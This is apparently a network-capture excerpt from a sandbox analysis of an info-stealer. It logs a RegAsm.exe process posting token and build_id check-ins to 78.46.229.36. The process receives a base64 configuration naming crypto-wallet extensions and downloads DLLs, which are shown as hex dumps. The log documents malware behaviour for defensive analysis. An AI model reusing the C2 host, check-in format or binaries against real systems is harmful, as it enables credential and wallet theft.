2024-03-28 07:35:58 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKF User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:35:58 UTC	331	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------IIIJECAEGDHIDHJKKKKFCont
2024-03-28 07:35:58 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:35:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:35:58 UTC	5165	IN	Data Raw: 31 34 32 30 0d 0a 54 57 56 30 59 55 31 68 63 32 74 38 4d 58 78 75 61 32 4a 70 61 47 5a 69 5a 57 39 6e 59 57 56 68 62 32 56 6f 62 47 56 6d 62 6d 74 76 5a 47 4a 6c 5a 6d 64 77 5a 32 74 75 62 6e 77 78 66 44 42 38 4d 48 78 4e 5a 58 52 68 54 57 46 7a 61 33 77 78 66 47 52 71 59 32 78 6a 61 32 74 6e 62 47 56 6a 61 47 39 76 59 6d 78 75 5a 32 64 6f 5a 47 6c 75 62 57 56 6c 62 57 74 69 5a 32 4e 70 66 44 46 38 4d 48 77 77 66 45 31 6c 64 47 46 4e 59 58 4e 72 66 44 46 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 4d 58 78 70 59 6d 35 6c 61 6d 52 6d 61 6d 31 74 61 33 42 6a 62 6d 78 77 5a 57 4a 72 62 47 31 75 61 32 39 6c 62 Data Ascii: 1420TWV0YU1hc2t8MXxua2JpaGZiZW9nYWVhb2VobGVmbmtvZGJlZmdwZ2tubnwxfDB8MHxNZXRhTWFza3wxfGRqY2xja2tnbGVjaG9vYmxuZ2doZGlubWVlbWtiZ2NpfDF8MHwwfE1ldGFNYXNrfDF8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8VHJvbkxpbmt8MXxpYm5lamRmam1ta3BjbmxwZWJrbG1ua29lb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.11	49712	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:35:59 UTC	311	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKEHCAKFBFHJKEHCFI User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 7217 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:35:59 UTC	7217	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 45 48 43 41 4b 46 42 46 48 4a 4b 45 48 43 46 49 0d 0a 43 6f 6e 74 Data Ascii: ------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------JJJKEHCAKFBFHJKEHCFIContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------JJJKEHCAKFBFHJKEHCFICont
2024-03-28 07:35:59 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:35:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:35:59 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.11	49713	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:01 UTC	226	OUT	GET /sqlm.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:01 UTC	248	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:01 GMT Content-Type: application/octet-stream Content-Length: 2459136 Last-Modified: Mon, 25 Mar 2024 09:53:07 GMT Connection: close ETag: "66014983-258600" Accept-Ranges: bytes
2024-03-28 07:36:01 UTC	16136	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 1e d2 37 9f 5a b3 59 cc 5a b3 59 cc 5a b3 59 cc 11 cb 5a cd 6e b3 59 cc 11 cb 5c cd cf b3 59 cc 11 cb 5d cd 7f b3 59 cc 11 cb 58 cd 59 b3 59 cc 5a b3 58 cc d8 b3 59 cc 4f cc 5c cd 45 b3 59 cc 4f cc 5d cd 55 b3 59 cc 4f cc 5a cd 4c b3 59 cc 6c 33 5d cd 5b b3 59 cc 6c 33 59 cd 5b b3 59 cc 6c 33 a6 cc 5b b3 59 cc 6c 33 5b cd 5b b3 59 cc 52 69 63 68 5a b3 59 cc 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$7ZYZYZYZnY\Y]YXYYZXYO\EYO]UYOZLYl3][Yl3Y[Yl3[Yl3[[YRichZY
2024-03-28 07:36:01 UTC	16384	IN	Data Raw: cd 1e 00 e9 ba 58 1d 00 e9 7e 65 1b 00 e9 1b f0 1c 00 e9 01 21 1c 00 e9 b9 2a 1f 00 e9 d7 46 00 00 e9 92 83 17 00 e9 c5 ed 1e 00 e9 e8 57 03 00 e9 fa 7c 1b 00 e9 3e e1 00 00 e9 bd f4 1a 00 e9 b4 7c 00 00 e9 bf ca 1c 00 e9 4c db 1a 00 e9 31 31 1a 00 e9 34 e5 1c 00 e9 36 f1 1d 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: X~e!*FW\|>\|L1146
2024-03-28 07:36:01 UTC	16384	IN	Data Raw: 74 12 8a 50 01 3a 51 01 75 0e 83 c0 02 83 c1 02 84 d2 75 e4 33 c0 eb 05 1b c0 83 c8 01 85 c0 74 15 83 c6 0c 47 81 fe c0 03 00 00 72 bf 5f 5e b8 0c 00 00 00 5b c3 8d 0c 7f 8b 14 8d 38 25 24 10 8d 04 8d 34 25 24 10 85 d2 75 09 8b 10 89 14 8d 38 25 24 10 8b 4c 24 18 85 c9 5f 0f 44 ca 5e 89 08 33 c0 5b c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 33 ff 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 53 6a 02 6a ff ff 74 24 1c 56 e8 78 0c 15 00 8b d8 83 c4 10 85 db 74 21 6a 00 ff 74 24 24 ff 74 24 24 ff 74 24 24 53 56 e8 9a 68 04 00 53 56 8b f8 e8 51 39 10 00 83 c4 20 80 7e 57 00 5b Data Ascii: tP:Quu3tGr_^[8%$4%$u8%$L$_D^3[Vt$W3FtPh $Sjjt$Vxt!jt$$t$$t$$SVhSVQ9 ~W[
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: be 0e 83 f9 30 7d e9 89 74 24 74 81 e3 ff ff ff 7f 89 5c 24 30 83 f9 6c 75 35 4e 0f be 4e 01 46 89 74 24 74 85 c9 0f 85 f0 fd ff ff eb 21 0f be 4e 01 46 c6 44 24 37 01 89 74 24 74 83 f9 6c 75 0e 0f be 4e 01 46 89 74 24 74 c6 44 24 37 02 8b 44 24 38 33 f6 89 44 24 58 ba 70 53 21 10 c7 44 24 50 70 53 21 10 c6 44 24 2e 11 0f be 02 3b c8 74 16 83 c2 06 46 81 fa fa 53 21 10 7c ed 8a 4c 24 2e 8b 54 24 50 eb 19 8d 04 76 8a 0c 45 73 53 21 10 8d 14 45 70 53 21 10 89 54 24 50 88 4c 24 2e 0f b6 c1 83 f8 10 0f 87 d9 14 00 00 ff 24 85 24 e1 00 10 c6 44 24 37 01 c6 44 24 43 00 f6 42 02 01 0f 84 97 00 00 00 80 7c 24 2d 00 74 44 8b 74 24 70 8b 56 04 39 16 7f 22 0f 57 c0 66 0f 13 44 24 68 8b 4c 24 6c 8b 74 24 68 8a 54 24 35 89 74 24 28 89 4c 24 58 e9 f4 00 00 00 8b 46 08 Data Ascii: 0}t$t\$0lu5NNFt$t!NFD$7t$tluNFt$tD$7D$83D$XpS!D$PpS!D$.;tFS!\|L$.T$PvEsS!EpS!T$PL$.$$D$7D$CB\|$-tDt$pV9"WfD$hL$lt$hT$5t$(L$XF
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: 24 14 3b c8 73 06 eb 0e 8b 44 24 14 8b c8 89 44 24 20 89 54 24 24 a1 08 22 24 10 03 44 24 10 99 8b f8 8b ea 85 f6 0f 85 6b 01 00 00 3b 6c 24 24 0f 8f 91 00 00 00 7c 08 3b f9 0f 83 87 00 00 00 8b 44 24 10 99 6a 00 8b ca c7 44 24 48 00 00 00 00 8d 54 24 48 89 44 24 38 52 51 50 55 57 89 4c 24 50 e8 38 3a ff ff 40 50 8b 44 24 34 50 8b 80 dc 00 00 00 ff d0 8b f0 83 c4 10 85 f6 75 1e 8b 54 24 1c 8b 44 24 44 55 57 ff 74 24 18 8b 0a ff 70 04 52 8b 41 0c ff d0 83 c4 14 8b f0 8b 44 24 44 85 c0 74 09 50 e8 dd f4 12 00 83 c4 04 03 7c 24 34 8b 4c 24 20 13 6c 24 38 85 f6 0f 84 6a ff ff ff e9 d0 00 00 00 8b 7c 24 1c 8d 4c 24 38 51 57 8b 07 8b 40 18 ff d0 8b f0 83 c4 08 85 f6 0f 85 b2 00 00 00 8b 4c 24 2c 39 4c 24 3c 7c 1e 7f 0a 8b 44 24 14 39 44 24 38 76 12 8b 07 51 ff Data Ascii: $;sD$D$ T$$"$D$k;l$$\|;D$jD$HT$HD$8RQPUWL$P8:@PD$4PuT$D$DUWt$pRAD$DtP\|$4L$ l$8j\|$L$8QW@L$,9L$<\|D$9D$8vQ
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: 00 00 33 ff c7 40 0c 00 00 00 00 66 c7 40 11 01 00 8b 44 24 10 56 89 46 40 e8 3a 27 0d 00 83 c4 04 8b f0 eb 08 8b 7c 24 10 8b 74 24 0c 85 ff 0f 84 9d 00 00 00 83 47 10 ff 0f 85 93 00 00 00 ff 4b 3c 83 7f 08 01 75 0d 83 7f 0c 00 75 07 c7 43 1c ff ff ff ff 8b 07 85 c0 74 0e 50 53 e8 46 87 0a 00 83 c4 08 85 c0 75 0a 57 53 e8 38 88 0a 00 83 c4 08 57 53 e8 5e 81 0a 00 83 c4 08 83 3d 18 20 24 10 00 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 57 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 57 ff 15 3c 20 24 10 a1 38 82 24 10 83 c4 08 85 c0 74 13 50 ff 15 70 20 24 10 eb 07 57 ff 15 3c 20 24 10 83 c4 04 53 e8 a0 17 0d 00 83 c4 04 8b c6 5f 5e 5b 8b e5 5d c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: 3@f@D$VF@:'\|$t$GK<uuCtPSFuWS8WS^= $tB8$tPh $WD $)$$W< $8$tPp $W< $S_^[]
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: ff ff 0f b7 86 90 00 00 00 8b de 8b 54 24 10 8b 4c 24 24 8b 6c 24 20 89 47 10 8b 86 98 00 00 00 c1 e8 06 83 e0 01 89 54 24 10 89 47 14 80 bb 97 00 00 00 02 89 4c 24 14 0f 85 c8 fe ff ff b8 01 00 00 00 89 4c 24 14 89 54 24 10 e9 b8 fe ff ff 5f 5e 5d b8 07 00 00 00 5b 83 c4 18 c3 5f 5e 5d 33 c0 5b 83 c4 18 c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc Data Ascii: T$L$$l$ GT$GL$L$T$_^][_^]3[
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 7c 24 14 8b 46 10 8b 56 0c 8d 0c 80 8b 42 68 ff 74 88 fc ff 77 04 ff 37 e8 ac f3 11 00 83 c4 0c 85 c0 74 0b ff 37 56 e8 d3 67 fe ff 83 c4 08 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 2c 67 21 10 ff 74 24 14 e8 bc d7 0d 00 83 c4 14 c3 cc cc cc cc cc cc cc cc 6a 00 6a 01 6a ff 68 Data Ascii: Vt$W\|$FVBhtw7t7Vg_^jjjh,g!t$jjjh
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: 71 14 8b 41 08 f7 76 34 8b 46 38 8d 14 90 8b 02 3b c1 74 0d 0f 1f 40 00 8d 50 10 8b 02 3b c1 75 f7 8b 40 10 89 02 ff 4e 30 66 83 79 0c 00 8b 71 14 74 10 8b 46 3c 89 41 10 8b 46 04 89 4e 3c 5e ff 08 c3 ff 31 e8 6e 5a 0a 00 8b 46 04 83 c4 04 ff 08 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 8b 4c 24 04 8b 54 24 10 56 57 8b 71 0c 85 f6 74 3c 8b 06 83 f8 01 74 1f 83 f8 02 74 1a 83 f8 05 74 15 33 ff 83 f8 03 75 26 bf 01 00 00 00 85 d7 74 1d 5f 33 c0 5e c3 83 7c 24 10 01 75 f4 83 7c 24 14 01 75 ed 5f b8 05 00 00 00 5e c3 33 ff 8b 41 04 52 ff 74 24 18 8b 08 ff 74 24 18 50 8b 41 38 ff d0 83 c4 10 85 ff 74 1c 85 c0 75 18 8b 4c 24 14 ba 01 00 00 00 d3 e2 8b 4c 24 10 4a d3 e2 09 96 c4 00 00 00 5f Data Ascii: qAv4F8;t@P;u@N0fyqtF<AFN<^1nZF^L$T$VWqt<ttt3u&t_3^\|$u\|$u_^3ARt$t$PA8tuL$L$J_
2024-03-28 07:36:02 UTC	16384	IN	Data Raw: cc cc cc cc cc cc cc cc 56 8b 74 24 08 57 8b 46 0c 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 6a 00 6a 00 68 50 45 24 10 68 e8 40 22 10 56 e8 25 83 14 00 83 c4 14 80 7e 57 00 75 04 33 ff eb 0d 6a 00 56 e8 d0 b5 01 00 83 c4 08 8b f8 8b 46 0c 85 c0 74 0a 50 ff 15 70 20 24 10 83 c4 04 8b c7 5f 5e c3 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 53 56 57 8b 7c 24 10 ff b7 dc 00 00 00 e8 6d f6 fd ff 83 c4 04 8d 77 3c bb 28 00 00 00 0f 1f 00 ff 36 e8 58 f6 fd ff 83 c4 04 8d 76 04 83 eb 01 75 ee 8b b7 f8 00 00 00 85 f6 74 54 39 1d 18 20 24 10 74 42 a1 38 82 24 10 85 c0 74 0a 50 ff 15 68 20 24 10 83 c4 04 56 ff 15 44 20 24 10 29 05 d0 81 24 10 ff 0d f4 81 24 10 56 ff 15 3c 20 24 10 a1 38 82 24 10 83 Data Ascii: Vt$WFtPh $jjhPE$h@"V%~Wu3jVFtPp $_^SVW\|$mw<(6XvutT9 $tB8$tPh $VD $)$$V< $8$

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49714	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:03 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJEC User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 829 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:03 UTC	829	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------CAKKEGDGCGDAKEBFIJECCont
2024-03-28 07:36:04 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:04 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49716	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:04 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:04 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------IJJJEBFHDBGIECBFCBKJCont
2024-03-28 07:36:05 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:05 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49721	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:05 UTC	310	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDHCAAKECGCBFIJDB User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Content-Length: 437 Connection: Keep-Alive Cache-Control: no-cache
2024-03-28 07:36:05 UTC	437	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 66 64 34 34 37 38 34 63 30 37 32 61 35 37 32 33 35 63 33 37 32 35 37 36 33 62 39 32 38 37 61 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 37 32 66 35 34 64 39 33 31 31 38 31 38 38 30 31 33 66 32 33 38 36 65 65 66 37 65 35 63 63 30 35 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 48 43 41 41 4b 45 43 47 43 42 46 49 4a 44 42 0d 0a 43 6f 6e 74 Data Ascii: ------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="token"8fd44784c072a57235c3725763b9287a------DGHIDHCAAKECGCBFIJDBContent-Disposition: form-data; name="build_id"72f54d93118188013f2386eef7e5cc05------DGHIDHCAAKECGCBFIJDBCont
2024-03-28 07:36:06 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-03-28 07:36:06 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49723	78.46.229.36	443	7696	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 07:36:07 UTC	205	OUT	GET /freebl3.dll HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Host: 78.46.229.36 Cache-Control: no-cache
2024-03-28 07:36:07 UTC	246	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 07:36:07 GMT Content-Type: application/octet-stream Content-Length: 685392 Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT Connection: close ETag: "6315a9f4-a7550" Accept-Ranges: bytes
